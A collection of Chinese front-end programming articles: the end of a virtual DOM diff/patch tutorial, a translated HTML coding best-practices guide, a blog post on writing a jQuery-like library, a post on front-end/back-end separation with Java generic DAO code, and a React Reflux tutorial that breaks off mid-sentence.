但是要注意的是，因为tagName是可重复的，不能用这个来进行对比。所以需要给子节点加上唯一标识key，列表对比的时候，使用key进行对比，这样才能复用老的 DOM 树上的节点。

这样，我们就可以通过深度优先遍历两棵树，每层的节点进行对比，记录下每个节点的差异了。完整 diff 算法代码可见 diff.js。

4.3 步骤三：把差异应用到真正的DOM树上

因为步骤一所构建的 JavaScript 对象树和render出来真正的DOM树的信息、结构是一样的。所以我们可以对那棵DOM树也进行深度优先的遍历，遍历的时候从步骤二生成的patches对象中找出当前遍历的节点差异，然后进行 DOM 操作。

function patch (node, patches) {
  var walker = {index: 0}
  dfsWalk(node, walker, patches)
}

function dfsWalk (node, walker, patches) {
  var currentPatches = patches[walker.index] // 从patches拿出当前节点的差异

  var len = node.childNodes
    ? node.childNodes.length
    : 0
  for (var i = 0; i < len; i++) { // 深度遍历子节点
    var child = node.childNodes[i]
    walker.index++
    dfsWalk(child, walker, patches)
  }

  if (currentPatches) {
    applyPatches(node, currentPatches) // 对当前节点进行DOM操作
  }
}

applyPatches，根据不同类型的差异对当前节点进行 DOM 操作：

function applyPatches (node, currentPatches) {
  currentPatches.forEach(function (currentPatch) {
    switch (currentPatch.type) {
      case REPLACE:
        node.parentNode.replaceChild(currentPatch.node.render(), node)
        break
      case REORDER:
        reorderChildren(node, currentPatch.moves)
        break
      case PROPS:
        setProps(node, currentPatch.props)
        break
      case TEXT:
        node.textContent = currentPatch.content
        break
      default:
        throw new Error('Unknown patch type ' + currentPatch.type)
    }
  })
}

完整代码可见 patch.js。

5 结语

Virtual DOM 算法主要是实现上面步骤的三个函数：element，diff，patch。然后就可以实际的进行使用：

// 1. 构建虚拟DOM
var tree = el('div', {'id': 'container'}, [
    el('h1', {style: 'color: blue'}, ['simple virtal dom']),
    el('p', ['Hello, virtual-dom']),
    el('ul', [el('li')])
])

// 2. 通过虚拟DOM构建真正的DOM
var root = tree.render()
document.body.appendChild(root)

// 3. 生成新的虚拟DOM
var newTree = el('div', {'id': 'container'}, [
    el('h1', {style: 'color: red'}, ['simple virtal dom']),
    el('p', ['Hello, virtual-dom']),
    el('ul', [el('li'), el('li')])
])

// 4. 比较两棵虚拟DOM树的不同
var patches = diff(tree, newTree)

// 5. 在真正的DOM元素上应用变更
patch(root, patches)

当然这是非常粗糙的实践，实际中还需要处理事件监听等；生成虚拟 DOM 的时候也可以加入 JSX 语法。这些事情都做了的话，就可以构造一个简单的ReactJS了。

本文所实现的完整代码存放在 Github，仅供学习。

6 References

https://github.com/Matt-Esch/virtual-dom/blob/master/vtree/diff.js
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  个人翻译，欢迎转载！

  英文原文：https://samdutton.wordpress.com/2015/04/02/high-performance-html/

  第一次翻译国外的博文，有什么意见和建议欢迎提出！




我们该如何提升网页的性能?


看到这个问题时，大多数开发者会想到图片优化、JavaScript优化、服务器配置升级、文件压缩甚至是CSS压缩这些方式。然而，网页的核心语言HTML却被忽视了。

如今，HTML的负担越来越重，在全球排名前100的网站中，平均每个页面的HTML代码大小有40k左右，其中Amazon和Yahoo平均每页的HTML代码有几千行，Youtube的首页甚至有3500个HTML元素。虽然降低每页HTML的复杂性、减少元素数量并不能使页面的加载时间提升很多，但是良好的HTML编码习惯是提升网页加载速度的一个重要基础。之所以写这篇文章，就是为了告诉你如何写出干净整洁的HTML代码，能够让你的网页在许多设备上都能快速正常的加载运行。在这个过程中，你能够学会如何搭建易于维护和Debug的网站以及app。


写代码的方式可以有很多种，特别是HTML。本文只是根据我们的经验来做出相对最好的建议，并不代表每条建议在任何情况下都能达到效果，仅供参考。


内容简介



  
	各司其职：样式由CSS来控制就够了，不要用HTML元素来强行获取想要的样式；

  	一丝不苟：开发过程中一定要加入代码校验工具，以确保代码没有任何语法以及逻辑上的错误；

  	干净整洁：使用自动排版工具来保持代码结构和格式的一致性；

  	熟练语言：应了解所有的元素用法，并在HTML多使用语义化的元素；

  	一视同仁：设计过程中一定要考虑到所有的情况，备用方案很重要，甚至要专门为特殊人群使用ARIA (Accessible Rich Internet Application)，以保证你的网站可以通过屏幕阅读器或者纯文本浏览器来展示；

  	全面测试：通过各种工具来测试你的网站在不同设备和不同尺寸屏幕上的表现。

  




Web三基友


HTML的含义应该不多解释了，请自行百度百科。

首先要说的是，HTML和CSS两兄弟虽然彼此充满基情，但是也不能把关系搞得太复杂，样式由CSS来控制就够了，不要用HTML元素来强行获取想要的样式，比如不要仅仅为了使文字变大而使用<h1>、<h2>、<h3>这些标题标签，也不要仅仅为了缩进而使用<blockquote>标签。

Chrome, Firefox, Internet Explorer 以及 Opera 都有各自的默认样式表，HTML元素默认的显示方式都是由这些默认样式表来决定的。比如，Chrome中<h1>默认的样式是32px bold，字体是Times.



  基友三原则：

  1. HTML用于建立结构，CSS用于渲染样式，JavaScript用于控制行为；

  2. 首先完成HTML的设计，然后根据样式需求来设计CSS，最后在确实需要的情况下才设计JavaScript；

  3. 将CSS和JavaScript文件进行归档，与HTML文件分开（这样不仅有助于页面缓存，而且可以使后期Debug更容易），这之后再把CSS和JavaScript链接到HTML中，可以根据需要来对CSS和JavaScript代码进行压缩加密。




结构的搭建


HTML在结构上搭建上需要注意这些：



	
采用HTML5标准时开头应该加上<!DOCTYPE html>，像这样：


html<!DOCTYPE html>
<html>
    <head> 
        <title>Recipes: pesto</title>
    </head>
    <body>  
        <h1>Pesto</h1>  
        <p>Pesto is good!</p>
    </body>
</html>




	
应在head标签中引入CSS文件，这样浏览器就可以在输出HTML之前获取CSS信息：


html<head>
    <title>My pesto recipe</title>
    <link rel="/css/global.css">
    <link rel="css/local.css">
</head>




	
在<body>标签的末尾引入JavaScript文件，这样可以在页面显示之后再编译JavaScript文件，以加快页面读取速度，同时有助于JavaScript对页面中的元素进行操作，像这样：


html<body>  
    ...  
    <script src="/js/global.js">  
    <script src="js/local.js">
</body>




	
对元素的操作应添加在JavaScript代码中，而不要在HTML中添加，下面这个例子就是错误的，这样后期难以维护。



	
比如这样写就不太好：


index.html


html<head>
    ... 
    <script src="js/local.js">
</head>
<body onload="init()">
    ... 
    <button onclick="handleFoo()">Foo</button>
    ...
</body>




	
这样写就好多了


index.html


html<head>
    ...
</head>
<body> 
    ...
    <button id="foo">Foo</button>
    ... 
    <script src="js/local.js">
</body>



js/local.js


javascriptinit(); 
var fooButton =  document.querySelector('#foo');
fooButton.onclick = handleFoo();










代码校验


虽然现在浏览器的容错力越来越高，但这不能成为代码粗制滥造的借口。不管什么时候，正确的HTML代码都更易于debug、体积更小、运行更快、渲染时消耗资源更少，而错误的HTML代码只会使页面的最终设计难以实现想要的效果。特别是在使用模板来开发时，正确有效的HTML就更显得尤为重要，也许一个正常运行的模块会在其他环境中出现可怕的异常。


如何才能提高HTML的正确性呢？可以有这些方式：



	在项目中加入校验过程：可以在代码编辑器中使用HTMLHint、SublimeLinter这类代码校验插件，也可以在build的时候使用HTMLHint with Grunt这类校验工具，还可以通过W3C HTML validator等网站来在线检测代码；

	尽量采用HTML5标准；

	
确保正确的HTML层级：嵌套元素时确保元素首尾完整，在一个有大量内容的元素的结束标签后应添加注释，这样有助于后期debug，特别是在使用模板的时候，如下所示：


html<div id="foobar">
    ...
</div> <!-- foobar ends -->




	
在所有不能自动结束的元素末尾添加结束标签；



	
比如这个例子，这样写也可以可以正常运行：


html<p>Pesto is good to eat...
<p>...and pesto is easy to make.




	
不过还是下面这样比较不容易出错：


html<p>Pesto is good to eat...</p>
<p>...and pesto is easy to make.</p>








	
</li>结束标签不是必须的，所以有些人认为可以不写</li>，这可以接受，但是</ul>和</ol>标签一定要加：


html<ul>  
    <li>Basil  
    <li>Pine nuts  
    <li>Garlic
</ul>




	
<video>和<audio>元素必须要有结束标签：


html<!-- 这样写不好 -->
<video src="foo.webm" />
<!-- 还是这样写吧 -->
<video src="foo.webm">  
    <p>Video element not supported.</p>
</video>






另一方面，要去掉冗余代码：



	像<img>和<link>这一类元素可以不加结束标签；

	
布尔型的属性可以不赋值，只要该属性出现，值就为true；



	
下面这样是可以运行的（没有加autoplay和controls）：


html<video src="foo.webm">




	
这样就不能运行，因为这两个属性值必须是true：


html<video src="foo.webm" autoplay="false" controls="false">




	
这样改一下就可以运行了：


html<video src="foo.webm" autoplay="true" controls="true">




	
这样写会更易读：


html<video src="foo.webm" autoplay controls>








	CSS和 JavaScript链接不需要type属性，他们就是他们。




良好的代码排版


保持一致的代码排版可以使HTML代码更易于理解、优化和debug，要做到良好的代码排版应注意以下这几点：



	在项目中保持统一的HTML代码风格；

	使用代码编辑器来帮助你自动排版，比如在Sublime Text中可以使用自带的Reindent，也可以找一些自动排版插件来帮助你。同样也可以使用一些在线工具比如CSS Beautifier和JS Beautifier；

	在HTML中用缩进来分层更易于阅读，如果代码编辑器没有自动缩进功能的话可以自行修改相应的设置。当你发现你的HTML层级过深的时候，那就表示你需要重构一下你的HTML了；

	缩进可以通过空格或者Tab来实现，但一定不要两者同时使用；

	
用更直接易读的方式写HTML代码，比如这句话，就可以很明显的看出这是个标题：


html<h2><a href="/contact">Contact</a><h2>



这样写的话就更像是一个链接：


html<a href="/contact"><h2>Contact</h2></a>




	元素要按常规放置，比如footer元素最好是放在HTML页面的底部，虽然理论上把它放在任何地方都可以正常运行；

	统一所有引号的使用规则，不要这里用双引号，那里又单引号；

	
使用小写字母来写标签和属性，大写字母很不易读，像这样：


html<A HREF="/">Home</A>



混合式的写法简直就是反人类：


html<H2>Pesto</h2>






语义化设计


语义化的意思是从名称一眼就能看出其内容和作用是什么，HTML的标签就是通过使用浅显易懂的元素名和属性名来实现语义化的。HTML5又引进了一些新的语义化元素，比如<header>, <footer>和<nav>。

为了是你的代码更易理解，一定要针对内容使用相应的语义化元素：



	标题使用<h1> (<h2>, <h3>…)，列表使用<ul>或者<ol>；

	
<article>内容中的标题应该从<h1>开始；

	在适当的地方使用HTML5的新元素，比如<header>, <footer>, <nav>和<aside>；

	正文中的文本内容要用<p>标签，内容的结构化可以使用HTML5的新元素（或者<div>），不要颠倒；

	修改文字样式时，<em>和<strong>要比<i>和<b>更好些，因为前者语义更加明显；

	
<form>中要包含<label>元素，input元素要有type、placeholder以及其他必要的属性，即使值为空都可以；

	
不要把文字和元素混合在一起，这样容易导致布局出错，比如这样：


html<div>
    Name: 
    <input type="text">
</div>



这样写会更好些：


html<div>
    <label>Name:</label>
    <input type="text">
</div>






布局


首先再次强调一遍：



  样式由CSS来控制就够了，不要用HTML元素来强行获取想要的样式。




布局需要注意的问题有这些：



	
<p>元素用来放文字，而不是用来布局。在浏览器自身的样式表中默认<p>有margin和其他样式；

	想实现换行可以使用<block>元素或者CSS的display属性，尽量避免使用<br>来换行。文字内容中的换行可以用<br>，但通常也很少这样用，有时在诗文中会把<br>作为标点来使用；

	避免使用<hr>，因为这个元素对语义和结构都没有太大帮助，反而<hr>极差的灵活性对布局和显示都有很大的影响；

	不要滥用<div>，W3C对<div>的描述是这样的：当没有其他元素可用时才能使用<div>。如果想让<link>和<img>这类元素能够在结尾换行，可以在样式中添加display: block，这样要比把它们放进<div>或者使用<br>来换行要好得多;

	必须知道哪些是块级元素，这样就可以避免把块级元素放到<div>里面，比如列表就不需要放到div里面；

	
<table>是用来放表格数据的，不是用来布局的；

	Flex box现在越来越流行，学一学没有坏处；

	盒模型一定要掌握，必须知道什么时候该用padding，什么时候该用margin；

	使用margin的规则：通常情况下，margin都是添加在元素的bottom和right，有时也可以是top或者left。无论如何，尽量避免同时在bottom和top，或者right和left添加margin。可以用last-of-type选择器来去掉最后一个子元素的margin。



CSS方面


这篇文章虽然是讲HTML的，但也有些CSS的注意事项想说一说：



	不要将多句CSS写在同一行；

	不要重复使用同一个id；

	
有时候给父元素添加class要比给子元素添加更简洁易维护（class的命名方式可以采用BEM规则），像这样：


html<!-- 这样看着好累>o< --> 
<ul>  
    <li class="ingredient">Basil</li>  
    <li class="ingredient">Pine nuts</li>  
    <li class="ingredient">Garlic</li> 
</ul> 
<!-- 看起来舒服多了^v^ --> 
<ul class="ingredients">  
    <li>Basil</li>  
    <li>Pine nuts</li>  
    <li>Garlic</li> 
</ul>






易访问性


要多为用户考虑，不同的设备条件、使用环境以及输入法等都会给你的HTML带来不同的体验：



	尽可能的使用语义化元素；

	要准备好备用内容：比如给<track>元素添加说明和副标题，给<video>和<audio>元素添加备用的文字或者图片，视频内容配上相应的截图或海报，每张图片都要加alt属性（如果图片只是用来装饰页面的话可以给alt赋空值）;

	链接要加title属性，title必须要有意义，不要只是链接的复述；

	在<input>元素中要加入type和placeholder；

	设计时要尽量加入ARIA (Accessible Rich Internet Application)。



其他建议



	符号的转义，比如<和&符号，像这样：<title>HTML &amp; JavaScript</title>；

	有些符号不需要转义，比如破折号（如：4-5 weeks）还有货币符号（如：¢,€）；

	在代码中作用不明显的地方适当的添加注释（注释在重构时的作用性举足轻重，优秀的HTML代码，无论多么复杂都可以很好的阅读和理解）；

	
有时全大写的标题会起到吸引注意力的作用，但没必要在HTML中真的输入大写的文字，可以在CSS中通过修改text-transform和font-variant来完成。这样做还有个好处，就是当用户复制这段文字时，他们可能不想要全大写的，像下面的<h4>，当用户复制文字内容时，得到的是大小写混合的文字：
HTML


html<h4>W3C Web Accessibility Initiative ARIA guidance</h4>



CSS


cssh4 {
    font-variant: small-caps;
}






测试


重中之重，就是一定要做测试！

在工作流程、调试工具和部署过程中都可以加入HTML测试。一定要测试你的页面在不同条件的设备，不同大小的屏幕以及不同网速的环境下的读取情况。还要使用纯文字浏览器（如： Lynx）或者屏幕阅读器（如：ChromeVox）来测试页面在特殊环境下的交互性。可以使用Chrome Dev Tools device mode这种仿真器来监视页面的变化。工作流程中可以加入Page Speed, Web Page Test等工具来做自动化测试。


 我是怎么写JavaScript框架的（一）

作者：江小湖Laker

来源： 我是怎么写JavaScript框架的（一）



                    
前言


以前大三的时候写的一个小框架，仿jquery链式结构，纯属练手，大牛勿喷。当时还把JQ的源码全部打印下来（因为在电脑上看不方便做笔记），7600+行代码，300+页A4纸，对照着看别人是怎么写的。还好一个长我一届的学长当时比较闲，我说我想读JQ代码，他也没读过，就找来上两届的学长以前练手写的小框架进行学习。可惜只找到了压缩混淆后的代码，对于一个渣渣来说，阅读起来很困难。在他的指点下，我大致了解了原理，并开始着手自己写。现在陆续有学弟找我要这个代码。虽然现在觉得写得一塌糊涂，但是，可能对于和我当时一样摸不着边的人来说，可能会有帮助。我就打算慢慢解析我是怎么写的，并穿插讲解我对JQ（2.0版）写法的理解。其实源代码里我都写有注释，我也是靠这些注释回忆我当时是怎么想的。可能会有很多不好的地方，轻喷~ 罒ω罒


我给库起名Oct.js，是因为这个是在企鹅实习生应聘失败后为10月校招而写。纪念那个稚嫩的我。


全部代码，看这里看这里~(￣▽￣)~*　
配合使用文档看代码更容易理解





闭包结构


为了防止和别的库的冲突，用闭包把整个框架安全地保护好。我们待会的代码都写在里面。这里创建一个全局变量"window.O"，就是在window对象里加个O，它等价于 "Oct"，相当于jquery、Jquery这样的别称，意味着以后用Oct()或O()来进行操作。把window.O写成window.$，那就和JQ的$调用用法一样。window.O返回一个Octobj对象，这很重要。


(function() {
    // 创建一个全局变量"window.O"
    window.O = Oct = function(selector, root_id, tag) { 
        return new Octobj(selector, root_id, tag); 
    }; 

    // 帅气地定义一个版本
    Oct.version = "1.0"; 

})();



链式结构原理


JQ的流行，我想是因为它很方便吧，一个选择器就可以接着写一连串的方法。链式结构就是在每个方法结束时返回一个对象进行下一个方法的操作。后面会通过代码说明


选择器


选择器非常重要。JQ特别把选择器部分剥离出一个库sizzle.js。现在的JQ内部也是调用JQ里面的sizzle。“选择器”三个字写得简单，代码写起来就很有学问，sizzle.js这种高大上的我就不说了。我这里简单实现一些功能：选择class/id/标签。


首先，把上面的Octobj对象骨架搭建起来。包含selector, root_id, tag三个参数。selector就是你想要找的东西，root_id是你想要找的东西的上级的id，tag是你要指定返回某种标签。


var Octobj = function(selector, root_id, tag) {

};



定义一些参数


// args: 存储root_id的子标签 
// type: 类型标记，id("#"), class(".") 或者 tag("&。 tag也加标记是为了代码方便
// eles: 临时的，存储`selector`变量里"# . &"标记后面的字符串
// selector_exp: 用来匹配标签的正则规则
var agrs, type, eles; 
var selector_exp = /^(?:#(\w-_)+|\.(\w-_)+|(\w)+)$/; 

// this.elements: 存储函数结束后返回对象
this.elements = [];

// 防止以下情况: $(""), $(null), $(undefined), $(false)
if (!selector) {
    return this;
}



接下来处理有没有指定root_id、tag的情况，


if (root_id) {
    root_id = typeof root_id == "string" ? document.getElementById(root_id) : root_id;
} else {
    root_id = document.body;
}
tag = tag || "*";
if (tag !== "*") {
    tag = tag.slice(1);
}



进入核心部分。分两种情况，能支持querySelector()方法的“高级”浏览器和不能支持的“低端”浏览器。先是能支持querySelector的，就很简单了：


if (document.querySelectorAll) {
    // 因为我用'&'符号来标记标签 ，所以要用"replace()"去掉'&' 
    var node_list = document.querySelectorAll(selector.replace("&", ""))
    for (var i in node_list) {
        if (node_list[i].tagName !== undefined) {
            // 把符合要求的元素存入`this.elements`
            this.elements.push(node_list[i]);
        }
    }
}



不能支持querySelector的，先来设置一些参数：


// 处理类似JQ $('.a .b')的情况
selector = selector.replace(/^\s+/, "").split(/\s+/);

// 如果不指明 "root_id" 和 "tag", "args" 就存储所有的标签
args = root_id.getElementsByTagName(tag);

// 通过符号标记判断是class/id/tag
type = selector[0].charAt(0);

// 所要选取的目标的字符串
eles = selector[0].slice(1);  



处理选择class的情况。有文章指出for in的效率不高，我本来是用for处理的，但是出现问题，因为会把方法一起选进来。JQ用了for in，感觉有了标杆，我就全部改用for in了。


if (type === ".") {
    // 查找每个标签中有className,提取处理进行匹配
    for (var i in args) {
        if(args[i].className) {

            // className 可能不止一个, 通过空格进行分割
            var r = args[i].className.split(/\s+/);
            for (var j in r) {
                if (r[j] === eles) {
                    this.elements.push(args[i]);
                }
            }
        }
    }
}



处理选择id的情况：


else if (type === "#") {
    for (var i in args) {
        if(args[i].id) {
            var r = args[i].id.split(/\s+/);
            for (var j in r) {
                if (r[j] === eles) {
                    this.elements.push(args[i]);
                }
            }
        }
    }
}



处理选择标签的情况：


else if (type === "&") {
    for (var i in args) {
        // 你可以"console.log(args[i]);" 可以看到最后一个是"length" ，没有"tagName"，所以要排除这个情况，否则会报错
        if (i !== "length" && typeof args[i] !== "function") {

            // "args[i].tagName" 在浏览器的属性里是用大写的，为了符合我的习惯，改用小写进行判断
            if (args[i].tagName.toLowerCase() === eles.toLowerCase()) {
                this.elements.push(args[i]);
            }
        }
    }

}



基础选择器部分完成了，别忘了最后一句，返回找到的元素，给下一个方法进行操作：


return this;



全部代码


用法举例


1.通过 id 选择.


O("#buddy")



2.通过 class 选择.


Oct(".buddy")



3.选择所有 div.


O("&div") // also O("&Div"), O("&DIV")



4.选择 .buddy 里的 <p>.


O(".buddy", null, "&p")



5.选择#dad下的.buddy


O(".buddy", "#dad")   



Laker's blog


 前后端完全分离初探

作者：arccode

来源： 前后端完全分离初探



                    
核心思路


后端负责业务逻辑处理, 前端负责展示逻辑的处理.


背景



	2013年3月,首次接触了underscore.js这个区区45k大小的js库, 在使用其提供的简单模板完成表格异步分页后,从此我开始慢慢践行前后端完全分离的架构.


	2013年7月,我接触到了REST这种重用HTTP应用协议的架构, 更坚定了我践行前后端分离的决心.


	2014年3月,国内刮起了nodeJS的风暴, 此时我采用国外的一个开源项目MEAN开发了一套完整的CMS系统, 此次开发学习到了API接口如何标准化, API具体的设计参考了github API, Instagram API.


	2015年1月, 公司开发新产品, 需要新开发一套支持平台及数据下发平台, 在该产品中我主要参与API的设计, 并主导开发支撑平台, 下面我就介绍下这套支撑平台.




工具


工欲善其事, 必先利其器, 先介绍下自己使用的工具


IntelliJ IDEA


强大的Java集成开发工具, 没有之一.


Webstorm


强大的HTML,CSS,Javascript集成开发工具, 没有之一.


Sublime


强大的文本编辑工具, 目前我主要用于临时文件查看, 临时json数据格式化查看, 集成了plugin后, 它的功能会吓到人.


Navicat


小巧强大的关系数据库建模工具, 相当易用.


Cornerstone


强大的版本控制客户端.


Mou


一款简洁强大的MarkDown可视化编辑工具.


Zoc6


一款强大的Linux SSH客户端工具.


Transmit


一款强大的Linux SFTP客户端可视化工具.


代理


云梯


强大的VPN, 连接稳定, 速度快, 价格实惠, 可做全局代理, 包括terminal.


项目


目的



	提高使用者的工作效率

	提高开发人员的开发效率



前端类库


vue.js


一个用于创建web交互界面的库, 主要用于数据双向绑定.


superagent.js


一个非常方便的客户端请求代理模块，可方便的使用get,post,put,delete,head动词, 异步回调中封装了http状态码和业务数据等等.


dropzone.js


一个强大的文件上传库, 可获取文件mime, 文件大小等; 针对图片可生成缩略图, 获取图片宽度,高度.


backgrid.js


一个强大的表格组件.


director.js


一个强大的前端路由库, 通过#符号进行路径组织, 结合vue的component可进行单页的局部模块刷新.


后端类库


spring hateoas


spring 超文本驱动库, 可根据需求返回不同的httpStatus及links.


spring framework


对架构进行分层, 目前分三层



	web接入层: 提供API接口,对前端传过来的数据进行校验, 校验未通过的话使用spring hateoas包装返回错误消息, 校验通过的话调用业务逻辑层

	业务逻辑层: 该层主要处理上层传进来的数据, 调用数据访问层进行数据持久化, 该层具有强大的扩展性;


	对于高并发写db的操作, 可集成消息队列库(如ActiveMQ)将消息发送至队列, 采用队列依次消费减轻db写负担.

	对于高并发频繁读db的操作, 可集成缓存库(如redis), 把读db的操作改为先读缓存, 未命中才去读db, 这样可大大减轻数据库读负担.

	在该层上还可以使用spring AOP对业务进行事务控制及日志记录.





	数据访问层: 该层只做一件事, 对数据库中的表记录进行增删改查, 不进行业务逻辑判断.



mybatis


一个半自动ORM(对象关系映射库)库, 简单灵活, 使用原生sql, 可完成较复杂的查询.


mybatis-generator-maven-plugin


mybatis插件, 可根据数据库中的表生成JavaBean,Dao接口,Dao的xml文件, 本人修改了部分源码, 可在JavaBean中自动添加注释, 详见另一篇博文MyBatis-Generator最佳实践.


spring security


完成用户的认证和授权.


thumbnailator(注: 需翻墙)


一个Java端的图片处理库, 可完成图片压缩, 裁剪, 水印等功能.


实战


如何提高使用者的工作效率?



	使用者看见就知道怎么使用

	为使用者自动完成部分可推导的表单填写

	拥有尽可能全的提示



如何提高开发人员的开发效率?



	技术选型时权衡考虑学习曲线与其提供的功能

	设计一套通用的可扩展的架构

	对常用操作及模块进行封装.



目前, 后端中将数据访问层和业务逻辑层中常用的方法封装成了泛型接口, 并使用抽象类来实现最基础的逻辑, 开发人员如果觉得指定方法无法满足需求, 可重写指定方法或使用新方法. 具体封装如下:



/**
 * GenericDao : 封装通用dao操作, 服务于GenericService
 *
 * @author http://arccode.net
 * @since 2014-12-03
 */
public interface GenericDao<Model, PK> {

    /**
     *  插入
     *
     * @param model
     */
    int insertSelective(Model model);

    /**
     *  删除
     *
     * @param id
     */
    int deleteByPrimaryKey(PK id);

    /**
     *  更新
     *
     * @param model
     */
    int updateByPrimaryKeySelective(Model model);

    /**
     *  查询单条记录
     *
     * @param id
     */
    Model selectByPrimaryKey(PK id);

    /**
     * 分页查询
     * @param page
     * @param model
     * @return
     */
    List selectAndPage(Page<Model> page, Model model);

}




/**
 * GenericService : 所有自定义Service的顶级接口,封装常用的增删查改操作
 *
 * Model : 代表数据库中的表映射的Java对象类型
 * PK :代表对象的主键类型
 *
 * @author http://arccode.net
 * @since 2014-12-03
 */
public interface GenericService<Model, PK> {

    /**
     * 分页获取集合, 带过滤功能
     * @param page 分页对象
     * @param model 分页条件, eg: model.name = "zhangsan", 对应sql语句为where name like %zhangsan%
     * @return
     */
    List getModels(Page<Model> page, Model model);

    /**
     * 新增
     * @param model
     * @return
     */
    Integer addModel(Model model);

    /**
     * 删除
     * @param id
     * @return
     */
    Integer removeModelById(PK id);

    /**
     * 修改
     * @param model
     * @return
     */
    Integer modifyModelById(Model model);

    /**
     * 根据主键id获取单条记录详情
     * @param id
     * @return
     */
    Model getModelById(PK id);

}




/**
 * GenericServiceSupport : 通用接口的实现类
 *
 * @author http://arccode.net
 * @since 2014-12-03
 */
public abstract class GenericServiceSupport<Model, PK>  implements GenericService<Model, PK>{

    /**
     * 定义成抽象方法,由子类实现,完成dao的注入
     * @return
     */
    public abstract GenericDao<Model, PK> getDao();

    @Override
    public List getModels(Page<Model> page, Model model) {
        return getDao().selectAndPage(page, model);
    }

    @Override
    public Integer addModel(Model model) {
        return getDao().insertSelective(model);
    }

    @Override
    public Integer removeModelById(PK id) {
        return getDao().deleteByPrimaryKey(id);
    }

    @Override
    public Integer modifyModelById(Model model) {
        return getDao().updateByPrimaryKeySelective(model);
    }

    @Override
    public Model getModelById(PK id) {
        return getDao().selectByPrimaryKey(id);
    }
}




熟练使用该模式, 开发一套业务逻辑的增删改查, 那速度是相当快.


针对前段也做了一些组件式的封装, 表格采用backgrid.js完成展示及分页操作, 只需要在html文件指定位置写入两个带id的html元素(一个用于展示表格, 一个用于分页), 之后copy写好的js模板, 在js中修改属性便可快速完成表格异步分页.


接下来将陆续发布实战干货.


本系列文章



	前后端完全分离初探

	前后端完全分离之API设计

	前后端完全分离之安全认证与授权-上

	前后端完全分离之安全认证与授权-下

	前后端完全分离之前端模块化开发

	前后端完全分离之前端路由系统

	前后端完全分离之后端面向服务的模块化开发




  原文出自 前后端完全分离之API设计, 欢迎转载, 转载请注明出处.




 React Reflux

作者：小俞

来源： React Reflux



                    
概念


Reflux是根据React的flux创建的单向数据流类库。

Reflux的单向数据流模式主要由actions和stores组成。例如，当组件list新增item时，会调用actions的某个方法（如addItem(data)）,并将新的数据当参数传递进去，通过事件机制，数据会传递到stroes中，stores可以向服务器发起请求，并更新数据数据库。数据更新成功后，还是通过事件机制传递的组件list当中，并更新ui。整个过程的对接是通过事件驱动的。就像这样：


╔═════════╗       ╔════════╗       ╔═════════════════╗
║ Actions ║──────>║ Stores ║──────>║ View Components ║
╚═════════╝       ╚════════╝       ╚═════════════════╝
     ^                                      │
     └──────────────────────────────────────┘



代码看起来像这样的：


var TodoActions = Reflux.createActions([
    'addItem'
]);

var TodoStore = Reflux.createStore({
    items: [1, 2],
    listenables: [TodoActions],
    onAddItem: function (model) {
        $.post('/server/add', {data: model}, function (data) {
            this.items.unshift(data);
            this.trigger(this.items);
        });
    }
});


var TodoComponent = React.createClass({
    mixins: [Reflux.listenTo(TodoStore, 'onStatusChange')],
    getInitialState: function () {
        return {list: []};
    },
    onStatusChange: function () {
        this.setState({list: TodoStore.items});
    },
    render: function () {
        return (
            <div>
                {this.state.list.map(function (item) {
                    return <p>{item}</p>
                })}
            </div>
        )
    }
});


React.render(<TodoComponent />, document.getElementById('container'));



同React Flux比较


相同点



	有actions

	有stores

	单向数据流



不同点



	通过内部拓展actions的行为，移除了单例的dispatcher

	stores可以监听actions的行为，无需进行冗杂的switch判断

	stores可以相互监听，可以进行进一步的数据聚合操作，类似于，map/reduce

	waitFor被连续和平行的数据流所替代



创建Action


var statusUpdate = Reflux.createAction(options);



返回值是一个函数，调用这个函数就会触发相应的事件，在store中监听这个函数，并作相应的处理


var addItem = Reflux.createAction();

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(addItem, 'addItem');
    },
    addItem: function (model) {
        console.log(model);
    }
});

addItem({name: 'xxx'});



创建多个Action


var TodoActions = Reflux.createActions([
    'addItem',
    'deleteItem'
]);



store监听actions的行为：


var TodoActions = Reflux.createActions([
    'addItem',
    'deleteItem'
]);

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(TodoActions.addItem, 'addItem');
        this.listenTo(TodoActions.deleteItem, 'deleteItem');
    },
    addItem: function (model) {
       console.log(model)
    },
    deleteItem:function(model){
        console.log(model);
    }
});

TodoActions.addItem({name:'xxx'});
TodoActions.deleteItem({name:'yyy'});



异步Action


真实的应用场景中，几乎所有的操作都会向后端请求，而这些操作都是异步的，Reflux也提供了相应的Promise接口


var getAll = Reflux.createAction({asyncResult:true});



例如获取全部数据：


var getAll = Reflux.createAction({asyncResult: true});

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(getAll, 'getAll');
    },
    getAll: function (model) {
        $.get('/all', function (data) {
            if (data) {
                getAll.completed(data);
            } else {
                getAll.failed(data);
            }

        });
    }
});

getAll({name: 'xxx'})
    .then(function (data) {
        console.log(data);
    })
    .catch(function (err) {
        throw err;
    });



Action hooks


Reflux为每个action都提供了两个hook方法



	preEmit(params)，action emit之前调用，参数是action传递过来的，返回值会传递给shouldEmit

	shouldEmit(params) action emit之前调用，参数默认是action传递，如果preEmit有返回值，则是preEmit返回值，返回值决定是否emit



情景一：


var addItem = Reflux.createAction({
    preEmit: function (params) {
        console.log('preEmit:' + params);           
    },
    shouldEmit: function (params) {
        console.log('shouldEmit:' + params);           
    }
});

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(addItem, 'addItem');
    },
    addItem: function (params) {
        console.log('addItem:' + params);
    }
});

addItem('xxx');

控制台打印
$ preEmit:xxx
$ shouldEmit:xxx



情景二：


var addItem = Reflux.createAction({
    preEmit: function (params) {
        console.log('preEmit:' + params);
        return 324;
    },
    shouldEmit: function (params) {
        console.log('shouldEmit:' + params);
        return true;
    }
});

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(addItem, 'addItem');
    },
    addItem: function (params) {
        console.log('addItem:' + params);
    }
});

addItem('xxx');

控制台打印
$ preEmit:xxx
$ shouldEmit:324
$ addItem:324




  注意几个返回值和参数的关系




Action Methods


当需要给所有的action添加公用方法时，可以这么干：


Reflux.ActionMethods.print = function (str) {
    console.log(str);
};

var addItem = Reflux.createAction();

var TodoStore = Reflux.createStore({
    init: function () {
        this.listenTo(addItem, 'addItem');
    },
    addItem: function (params) {
        console.log('addItem:' + params);
    }
});

addItem.print('xxx');



trigger、triggerAsync和triggerPromise


直接调用addItem()实际上是调用trigger或者triggerAsync或者triggerPromise，它们区别在于


